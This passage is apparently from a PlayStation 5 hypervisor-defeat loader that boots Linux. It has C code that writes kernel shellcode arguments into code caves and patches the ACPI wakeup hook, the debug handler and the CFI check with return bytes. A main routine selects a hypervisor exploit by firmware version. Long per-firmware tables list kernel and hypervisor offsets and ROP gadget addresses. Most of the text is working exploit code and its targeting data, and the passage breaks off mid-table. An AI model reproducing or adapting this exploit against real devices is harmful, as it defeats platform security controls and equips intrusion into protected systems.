args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA;
args.hv_uart_override_pa = env_offset.HV_UART_OVERRIDE_PA;
args.linux_info_va = linux_i.linux_info; // To relocate by kernel shellcode
// bzimage_va and initrd_va are passed in the linux_info structure
// Copy arguments to small .data cave
kernel_copyin(&args, dest_data, sizeof(args));
DEBUG_PRINT("\n\nI wrote this arguments data on %016lx (ktext+%08lx):\n",
dest_data, env_offset.KERNEL_DATA_CAVE);
for (uint64_t i = 0; i < sz; i++) {
DEBUG_PRINT("%02x", kread8(dest_data + i));
}
DEBUG_PRINT("\n\n");
// Now find the address 0x11AA11AA11AA11AA used as marker for args_ptr and
// overwrite it with proper VA in .data for arguments
int offset = -1;
for (int i = 0; i < 0x40; i++) {
if (*(uint64_t *)((uint64_t)shellcode_kernel_text + i) ==
0x11AA11AA11AA11AA) {
offset = i;
break;
}
}
if (offset == -1) {
notify("Could not find offset of args_ptr address - Aborting\n");
}
kwrite64(dest_text + offset, dest_data);
DEBUG_PRINT("\n\nI wrote this ptr %016lx on %016lx (offset %08lx)\n",
dest_data, dest_text + offset, offset);
uint64_t instr_to_patch =
ktext + env_offset.HOOK_ACPI_WAKEUP_MACHDEP; // AcpiSetFirmwareWakingVector
// in acpi_wakeup_machdep
int64_t diff_call = dest_text - instr_to_patch;
uint8_t new_instr[5];
new_instr[0] = 0xE8; // Call Near
*((uint32_t *)&new_instr[1]) =
(int32_t)(diff_call - 5); // Call Offset is relative to the next
// instruction and Call uses 5 bytes
// Patch instruction
kernel_copyin(new_instr, instr_to_patch, 5);
DEBUG_PRINT("Instruction patched\n");
// Patch debug exception
kwrite8(ktext + env_offset.KERNEL_DEBUG_PATCH, 0xC3);
// Patch cfi_check
kwrite8(ktext + env_offset.KERNEL_CFI_CHECK, 0xC3);
return 0;
}
#include "hv_defeat_0304.h"
#include "hv_defeat_0506.h"
#include "loader.h"
#include "prepare_resume.h"
#include "utils.h"
#include <unistd.h>
int main(void) {
if (setup_env()) {
notify("Something went wrong while initiating.\nPlease make sure your fw "
"is supported.");
return -1;
}
if (fetch_linux(&linux_i)) {
notify("Something went wrong while installing linux files.\n");
return -1;
}
void *shellcode_kernel;
size_t shellcode_kernel_len;
if (prepare_resume(&shellcode_kernel, &shellcode_kernel_len)) {
notify("Something went wrong while preparing resume.\n");
return -1;
}
if ((0x0300 <= fw) && (fw < 0x0500)) {
if (hv_defeat_0304(shellcode_kernel, shellcode_kernel_len))
goto err;
} else if ((0x0500 <= fw) && (fw < 0x0650)) {
if (hv_defeat_0506(shellcode_kernel, shellcode_kernel_len))
goto err;
} else {
goto err;
}
notify("Finished preparation. Going to rest mode in 5 seconds.\nPlease wait "
"for the orange light to stop "
"blinking and then wakeup to Linux :)\n");
sleep(5);
enter_rest_mode();
while (1) {
sleep(30);
}
return 0;
err:
notify("Something went wrong while defeating Hypervisor.\nPlease make sure "
"your fw is supported.");
return -1;
}

View File

@@ -1,289 +1,335 @@
#include "offsets.h"
offset_list off_0300 = {
.PMAP_STORE = 0x3D8E218,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x0390E73,
.FUN_PRINTF = 0x048B9A0,
.FUN_VA_TO_PA = 0x0831410,
.FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E20,
.FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D50,
.FUN_SMP_RENDEZVOUS = 0x0A3E850,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287E50,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x0734B5D0,
.FUN_TRANSMITTER_CONTROL = 0x0B2A560,
.FUN_MP3_INITIALIZE = 0x0953890,
.FUN_MP3_INVOKE = 0x0952670,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x0752460,
.KERNEL_CFI_CHECK = 0x0441DD0,
};
offset_list off_0310 = {
.PMAP_STORE = 0x3D8E218,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x0390EB3,
.FUN_PRINTF = 0x048B9E0,
.FUN_VA_TO_PA = 0x0831450,
.FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E60,
.FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D90,
.FUN_SMP_RENDEZVOUS = 0x0A3E890,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287EA8,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x0734B5D0,
.FUN_TRANSMITTER_CONTROL = 0x0B2A5A0,
.FUN_MP3_INITIALIZE = 0x09538D0,
.FUN_MP3_INVOKE = 0x09526B0,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x07524A0,
.KERNEL_CFI_CHECK = 0x0441E10,
};
offset_list off_0320 = {
.PMAP_STORE = 0x3D8E218,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x391203,
.FUN_PRINTF = 0x48BD30,
.FUN_VA_TO_PA = 0x8317A0,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB34320,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250,
.FUN_SMP_RENDEZVOUS = 0xA3ED50,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288230,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x734B5D0,
.FUN_TRANSMITTER_CONTROL = 0xB2AA60,
.FUN_MP3_INITIALIZE = 0x953D30,
.FUN_MP3_INVOKE = 0x952B10,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x7527F0,
.KERNEL_CFI_CHECK = 0x442160,
};
offset_list off_0321 = {
.PMAP_STORE = 0x3D8E218,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x391203,
.FUN_PRINTF = 0x48BD30,
.FUN_VA_TO_PA = 0x8317A0,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB34320,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250,
.FUN_SMP_RENDEZVOUS = 0xA3ED50,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288250,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x734B5D0,
.FUN_TRANSMITTER_CONTROL = 0xB2AA60,
.FUN_MP3_INITIALIZE = 0x953D30,
.FUN_MP3_INVOKE = 0x952B10,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x7527F0,
.KERNEL_CFI_CHECK = 0x442160,
};
offset_list off_0400 = {
.PMAP_STORE = 0x3E57A78,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,
.FUN_PRINTF = 0x4A3240,
.FUN_VA_TO_PA = 0x85ADC0,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB638F0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63830,
.FUN_SMP_RENDEZVOUS = 0xA6C920,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x295488,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AD50,
.FUN_MP3_INITIALIZE = 0x9805C0,
.FUN_MP3_INVOKE = 0x97F3E0,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DA70,
.KERNEL_CFI_CHECK = 0x45A170,
};
offset_list off_0402 = {
.PMAP_STORE = 0x3E57A78,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,
.FUN_PRINTF = 0x4A3240,
.FUN_VA_TO_PA = 0x85AE10,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB63950,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63890,
.FUN_SMP_RENDEZVOUS = 0xA6C970,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x29A018,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5ADA0,
.FUN_MP3_INITIALIZE = 0x980610,
.FUN_MP3_INVOKE = 0x97F430,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DAC0,
.KERNEL_CFI_CHECK = 0x45A170,
};
offset_list off_0403 = {
.PMAP_STORE = 0x3E57A78,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,
.FUN_PRINTF = 0x4A3240,
.FUN_VA_TO_PA = 0x85AEA0,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB639F0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63930,
.FUN_SMP_RENDEZVOUS = 0xA6CA00,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299F20,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AE30,
.FUN_MP3_INITIALIZE = 0x9806A0,
.FUN_MP3_INVOKE = 0x97F4C0,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DB50,
.KERNEL_CFI_CHECK = 0x45A170,
};
offset_list off_0450 = {
.PMAP_STORE = 0x3E57A78,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x03A75E3,
.FUN_PRINTF = 0x04A3270,
.FUN_VA_TO_PA = 0x85AFF0,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB63BB0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63AF0,
.FUN_SMP_RENDEZVOUS = 0xA6CBB0,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FC0,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AFF0,
.FUN_MP3_INITIALIZE = 0x980850,
.FUN_MP3_INVOKE = 0x97F670,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DC80,
.KERNEL_CFI_CHECK = 0x45A1A0,
};
offset_list off_0451 = {
.PMAP_STORE = 0x3E57A78,
.HV_VCPU_ARRAY_OFF = 0x5D0,
.HV_VCPU_STRIDE = 0x320,
.HV_VCPU_VMCB_PTR = 0x08,
.KERNEL_CODE_CAVE = 0x0043000,
.KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.PMAP_PM_PML4 = 0x020,
.PMAP_PM_CR3 = 0x028,
.DATA_BASE_GVMSPACE = 0x64C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A75E3,
.FUN_PRINTF = 0x4A3270,
.FUN_VA_TO_PA = 0x85B390,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB63FE0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63F20,
.FUN_SMP_RENDEZVOUS = 0xA6CFE0,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FA8,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_UART_OVERRIDE_PA = 0x62800008,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5B420,
.FUN_MP3_INITIALIZE = 0x980BF0,
.FUN_MP3_INVOKE = 0x97FA10,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DC90,
.KERNEL_CFI_CHECK = 0x45A1A0,
};
#include "offsets.h"
#define KERNEL_TEXT 0xFFFFFFFF80210000
offset_list off_0300 = {
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x0390E73,
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = 0x048B9A0,
.FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E20,
.FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D50,
.FUN_SMP_RENDEZVOUS = 0x0A3E850,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287E50,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_CFI_CHECK = 0x0441DD0,
.G_VBIOS = 0x0734B5D0,
.FUN_TRANSMITTER_CONTROL = 0x0B2A560,
.FUN_MP3_INITIALIZE = 0x0953890,
.FUN_MP3_INVOKE = 0x0952670,
.PS5_WIFI_FW_OFFSET = 0x1274460,
.PS5_WIFI_FW_SIZE = 492304,
};
offset_list off_0310 = {
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x0390EB3,
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = 0x048B9E0,
.FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E60,
.FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D90,
.FUN_SMP_RENDEZVOUS = 0x0A3E890,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287EA8,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_CFI_CHECK = 0x0441E10,
.G_VBIOS = 0x0734B5D0,
.FUN_TRANSMITTER_CONTROL = 0x0B2A5A0,
.FUN_MP3_INITIALIZE = 0x09538D0,
.FUN_MP3_INVOKE = 0x09526B0,
.PS5_WIFI_FW_OFFSET = 0x1274490,
.PS5_WIFI_FW_SIZE = 492304,
};
offset_list off_0320 = {
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x391203,
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = 0x48BD30,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB34320,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250,
.FUN_SMP_RENDEZVOUS = 0xA3ED50,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288230,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_CFI_CHECK = 0x442160,
.G_VBIOS = 0x734B5D0,
.FUN_TRANSMITTER_CONTROL = 0xB2AA60,
.FUN_MP3_INITIALIZE = 0x953D30,
.FUN_MP3_INVOKE = 0x952B10,
.PS5_WIFI_FW_OFFSET = 0x1274550,
.PS5_WIFI_FW_SIZE = 492304,
};
offset_list off_0321 = {
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.DATA_BASE_GVMSPACE = 0x06423F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x391203,
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = 0x48BD30,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB34320,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250,
.FUN_SMP_RENDEZVOUS = 0xA3ED50,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288250,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_CFI_CHECK = 0x442160,
.G_VBIOS = 0x734B5D0,
.FUN_TRANSMITTER_CONTROL = 0xB2AA60,
.FUN_MP3_INITIALIZE = 0x953D30,
.FUN_MP3_INVOKE = 0x952B10,
.PS5_WIFI_FW_OFFSET = 0x1274550,
.PS5_WIFI_FW_SIZE = 492304,
};
offset_list off_0400 = {
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = 0x4A3240,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB638F0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63830,
.FUN_SMP_RENDEZVOUS = 0xA6C920,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x295488,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_CFI_CHECK = 0x45A170,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AD50,
.FUN_MP3_INITIALIZE = 0x9805C0,
.FUN_MP3_INVOKE = 0x97F3E0,
.PS5_WIFI_FW_OFFSET = 0x1392FB0,
.PS5_WIFI_FW_SIZE = 493000,
};
offset_list off_0402 = {
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = 0x4A3240,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB63950,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63890,
.FUN_SMP_RENDEZVOUS = 0xA6C970,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x29A018,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_CFI_CHECK = 0x45A170,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5ADA0,
.FUN_MP3_INITIALIZE = 0x980610,
.FUN_MP3_INVOKE = 0x97F430,
.PS5_WIFI_FW_OFFSET = 0x1392FB0,
.PS5_WIFI_FW_SIZE = 493000,
};
offset_list off_0403 = {
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = 0x4A3240,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB639F0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63930,
.FUN_SMP_RENDEZVOUS = 0xA6CA00,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299F20,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_CFI_CHECK = 0x45A170,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AE30,
.FUN_MP3_INITIALIZE = 0x9806A0,
.FUN_MP3_INVOKE = 0x97F4C0,
.PS5_WIFI_FW_OFFSET = 0x1392FB0,
.PS5_WIFI_FW_SIZE = 493000,
};
offset_list off_0450 = {
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x03A75E3,
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = 0x04A3270,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB63BB0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63AF0,
.FUN_SMP_RENDEZVOUS = 0xA6CBB0,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FC0,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_CFI_CHECK = 0x45A1A0,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AFF0,
.FUN_MP3_INITIALIZE = 0x980850,
.FUN_MP3_INVOKE = 0x97F670,
.PS5_WIFI_FW_OFFSET = 0x1392FC0,
.PS5_WIFI_FW_SIZE = 493000,
};
offset_list off_0451 = {
.IOMMU_SOFTC = 0x33C7680,
.VMSPACE_VM_VMID = 0x1E4,
.VMSPACE_VM_PMAP = 0x1D0,
.DATA_BASE_GVMSPACE = 0x64C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A75E3,
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = 0x4A3270,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB63FE0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63F20,
.FUN_SMP_RENDEZVOUS = 0xA6CFE0,
.FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FA8,
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_CFI_CHECK = 0x45A1A0,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5B420,
.FUN_MP3_INITIALIZE = 0x980BF0,
.FUN_MP3_INVOKE = 0x97FA10,
.PS5_WIFI_FW_OFFSET = 0x1393000,
.PS5_WIFI_FW_SIZE = 493000,
};
offset_list off_0550 = {
// .IOMMU_SOFTC not needed
// .VMSPACE_VM_VMID not needed
.VMSPACE_VM_PMAP = 0x1D0,
// .DATA_BASE_GVMSPACE not needed
.ACPIGBL_FACS = (0xFFFFFFFF83C942A0 - KERNEL_TEXT),
.IDT = (0xFFFFFFFF8745DCA0 - KERNEL_TEXT),
.COMMON_TSS = (0xFFFFFFFF87460850 - KERNEL_TEXT),
.STOPPED_CPUS = (0xFFFFFFFF87520DE0 - KERNEL_TEXT),
.FUN_STOP_CPUS = (0xFFFFFFFF80CAC250 - KERNEL_TEXT),
.FUN_AS_LAPIC_EOI = (0xFFFFFFFF804486A0 - KERNEL_TEXT),
.FUN_HV_UNMAP_PT_TMR = (0xFFFFFFFF80DAA180 - KERNEL_TEXT),
.FUN_MEMCPY = (0xFFFFFFFF80489DF0 - KERNEL_TEXT),
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b94dd4 - KERNEL_TEXT),
.GAD_IRETQ = (0xFFFFFFFF8044B02D - KERNEL_TEXT),
.GAD_POP_RDI_RET = (0xffffffff803e8738 - KERNEL_TEXT),
.GAD_POP_RSI_RET = (0xffffffff803a9270 - KERNEL_TEXT),
.GAD_POP_RDX_RET = (0xffffffff8054d4f2 - KERNEL_TEXT),
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff80603cba - KERNEL_TEXT),
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = (0xFFFFFFFF804A7BD8 - KERNEL_TEXT),
// .FUN_HV_IOMMU_SET_BUFFERS not needed
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CAC830 - KERNEL_TEXT),
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804B3408 - KERNEL_TEXT),
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282DFEB,
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF82291488 - KERNEL_TEXT),
.KERNEL_CFI_CHECK = (0xFFFFFFFF80678060 - KERNEL_TEXT),
.G_VBIOS = (0xFFFFFFFF87673A50 - KERNEL_TEXT),
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DA1BD0 - KERNEL_TEXT),
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BC1480 - KERNEL_TEXT),
.FUN_MP3_INVOKE = (0xFFFFFFFF80BC01A0 - KERNEL_TEXT),
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF8163EB30 - KERNEL_TEXT),
.PS5_WIFI_FW_SIZE = 493532,
};
offset_list off_0600 = {
// .IOMMU_SOFTC not needed
